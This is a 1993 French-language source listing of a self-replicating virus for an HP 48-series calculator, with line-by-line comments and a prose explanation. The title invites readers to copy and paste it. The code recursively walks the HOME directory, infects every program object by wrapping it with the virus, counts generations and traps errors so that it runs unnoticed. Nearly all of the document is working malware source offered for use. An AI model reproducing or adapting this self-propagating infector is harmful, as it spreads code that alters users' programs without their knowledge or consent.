A virus, juste Copy and Paste into a Text Editor (1993)

 

%%HP: T(3)A(D)F(.);
"
PRG
LST ;Prologue liste. Depot de tout l'ensemble.
$ 03DEF \127 ;Incrementation de la generation. #1h+
~ ;Noeval sur l'objet suivant. Push next Obj & advance interpreter pointer
$ 032C2 \127 ;Over, depose sur skt1. Over
~ ;Noeval sur l'objet suivant. Push next Obj & advance interpreter pointer
$ 18EBA \127 ;Evaluateur d'objet composite, depose sur stk1. CompEval.
\164 00004 \031 ;System Binary. #4h.
$ 05445 ;make composite 4 elements. ->Prg. (Reconstruction du virus !!!).
LST ;Prologue liste. Depot de tout l'ensemble.
\164 00000 \031 ;System Binary. #0h.
$ 071A2 \127 ;Begin.
$ 179D0 \127 ;GetVarDir. (2:Dir 1:#Offset) -> (4:dir 3:#NextOffset 2:VarContent 1:Flag)
$ 071EE \127 ;While. (1:Flag) If True Cont else Skip2.
PRG ;Prologue prg. Execute si GetVarDir a generer un True Flag.
$ 18F9D \127 ;Case en fonction du type de VarContent, sorte de Switch Case Of. CK&Dispatch0
\164 00008 \031 ;System Binary. #8h. Correspond a un objet type Program ou command.
PRG ;Prologue prg. Execute si VarContent est du type #2h.
$ 03188 \127 ;Dup.
$ 0567B \127 ;Size. SizeComp. (1:Comp) -> (1:SizedObj)
$ 636C8 ;Test NotEgal entre System Binary. #2h<>?. (1:#x) -> (1:Flag True/False)
$ 619BC \127 ;If operant directement dans le programme
PRG ;Prologue Prg. Execute si If est Vrai, donc si Size<>2.
$ 03188 \127 ;Dup
$ 6140E \127 ;Appel a la variable local interne No3. GetLam3.
\164 00002 \031 ;System Binary. #2h.
$ 05445 ;Make comp 2 elements. ->Prg. (Contamination de l'objet de type 8 !!!)
$ 03223 \127 ;Swap (2:VarContent 1:VarContentContamine) -> ...
$ 085D3 \127 ;Replace Memory Operation. (2:NewContent 1:OldContent) -> (1:NewContent)
END ;Epilogue. End composite.
$ 03244 \127 ;Drop
END ;Epilogue. End composite.
\164 0002F \031 ;System Binary. #2Fh. Correspond a un obj type Dir. (Analyse des sous Dir !!!)
PRG ;Prologue prg. Execute si VarContent est du type Directory.
$ 613E7 \127 ;Appel a la variable locale interne No2. GetLam2. (Procedure recursive)
$ 18EBA \127 ;Evaluateur d'objet composite. Evalue ici le contenu de Lam2.
END ;Epilogue. End composite.
\164 00000 \031 ;System Binary. #0h. Correspond a un obj de n'importe quel type (Prg et Dir filtres avant)
$ 03244 \127 ;Drop objet autre que Program et Directory.
END ;Epilogue. End Composite.
$ 071E5 \127 ;Repeat. Copies top of return stack to interpreter pointer.
$ 03244 \127 ;Drop
END ;Epilogue. End composite.
$ 61D41 \127 ;SaveStack (Stack saved in temp envir.) Note: Stk1->Lam2 / Stk2->Lam3 / If more: (Skt3 -> ..)
$ 04E5E \127 ;Interception des interruptions d'erreurs generees par Doerr. (Insuffi. mem. etc..). Iferr !
PRG ;Prologue Prg. Automatiquement execute. Erreur interceptee.
$ 08DC4 \127 ;Attribution du directory Home au directory temporaire. SetTempDirToHomeDir.
$ 08D82 \127 ;Rappel de l'image du directory temporaire. (1:HomeDir)
$ 613E7 \127 ;Appel a la variable local (env. temp.) No2. (=recuperation partielle de SaveStack!!!!!!!!)
$ 18EBA \127 ;Evaluateur d'objet composite. Evalue le contenu de Lam2.
$ 03258 \127 ;Drop2. Phase finale de la contamination de tous les dir. On drope (2:HomeDir 1:#Offset)
$ 6140E \127 ;Appel a la variable local No3 de SaveStk. Ici est stocke le virus entier
\164 00002 \031 ;System Binary. #2h.
$ 62B9C ;Get. GetComp only. (2:Comp 1:#Offset) -> (1:Subobject). En 2ieme se trouve la generation !
\164 00002 \031 ;System Binary. #2h. (2:#Generation 1:#Declanchement). Declanchement=#2 Arbitraire !
$ 03D83 \127 ;Comparaison de System Binary. #>? (2:#..1:#..) -> (1:True/False)
$ 619BC \127 ;If. On evalue la suite ssi la generation du virus ne (du verbe naitre) est >=3
PRG ;Prologue ou objet quelconque. Ici se trouve le noyau du virus.
$ 141E5 \127 ;Dans ce cas on a juste un point d'entree (c'est un beep d'erreur). Le prologue
END ;et l'epilogue sont en fait ici present a titre purement indicatif, inutiles pour 1 seule Fct...
END ;Epilogue. End Composite. Ici se termine l'interception des interruptions d'erreurs eventuelles.
$ 04EB8 \127 ;Next ob is a Error Trap. (Then de Iferr).
PRG ;Prologue. Execute si erreur set = on.
$ 61F8F \127 ;LastStk. Rappel absolu des elements de la pile avec 2 objets propre au virus (niv 1 et 2)
$ 03258 \127 ;Drop2.
C$ Erreur ;String 'Erreur' avertissant qu'il y a eu erreur. (A mettre seulement pour la mise au point!!!!!)
END ;Epilogue. End Composite.
$ 07497 \127 ;Destuction du dernier ensemble d'envir. temp. (Ndr: Util?????????)
END ;Epilogue. End Composite.
\164 00001 \031 ;System Binary. #xh. Generation du virus de 1 a + l'inf.
$ 032C2 \127 ;Over
$ 18EBA \127 ;Evaluateur d'objet composite. (Evalue le virus)
END ;Epilogue. End composite.

Une grande partie du virus est constituee de listes, qui sont des objets composites comme les objets programme.
Ici on en tire profit du fait que l'objet liste sera depose sur la pile sans etre evalue. Nous aurions aussi pu en faire
des objets programmes, precedes d'instructions 'Noeval'. Avec la liste on gagne un Noeval en moins, soit 5 quartets
a chaque fois.
Des le debut de l'execution du programme, on depose une enorme liste, qui contient quasiment le virus entier. On depose
ensuite la generation (4ieme fonction en partant de la fin du virus). On fait un Over -> (3:Liste 2:generation 1:Liste). On
evalue la liste au niveau 1. Remarquer que cet Eval se trouve tout a la fin du source. C'est la derniere instruction visuelle.
la premiere instruction de la liste est un increment. On incremente en effet la generation. On pose un Over puis un Eval,
et l'on reconstruit un nouveau virus a 4 elements a l'aide du point d'entree $05445.
On depose a nouveau un liste, et on arrive deja a SaveStk. Cette fonction va stocker tous les elements qui se trouve
a ce moment dans la pile dans un envir. temporaire (sorte de variable locale). Les elements ne sont pas retires de la pile.
Cette fonction ne prend quasiment pas de place memoire, car c'est une sauvegarde d'adresse. On n'effectue pas de NewOb.
Nous avons donc dans la pile: (N+2:....N:....2:Virus entier 1:Derniere liste deposee), ou Les niveaux N contiennent des elements
divers laisser par le programme cible qui vient de s'executer par exemple. Il peut tres bien ne rien y avoir.
On entre maintenant dans la procedure couverte par le 'IFERR'. Si une erreur est generee, cette procedure sera sustendue
immediatement, et le virus passera a l'execution du programme que l'on nomme SysErrorTrap.
Les 2 premieres fonctions de cette procedure sont utilisees pour mettre le directory HOME dans la pile. En RPL on pourrait
faire: << HOME 'HOME' RCL >>. (En fait ca ne marche pas...la Hp ne permet curieusement pas le rappel du repertoire
Home, enfin bon admettons que si!).
On remarque que lorsque le virus fait cette manip, il passe par un envir. temporaire, ceci pour na pas changer le menu
d'ou est parti le virus. Si nous faisions reellement un Home, on se retrouverait a chaque fois dans le repertoire Home!
Il faudrait alors memoriser l'offset du menu qui etait en cours (Comme RCLMENU en Rpl) et le restituer (Comme MENU en RPL).
C'est une perte de temps et de place.
Nous avons maintenant tout le directory Home au niveau 1 de la pile. Notons que c'est une image, ce qui prendra toujours
2.5 octets (5 quartets). Dans ce directory se trouve l'integralite des variables, variables cachees, sous directory, directory
system, directory caches etc...rien n'y echappe! Il ne reste plus qu'a demonter de A a Z cet objet directory.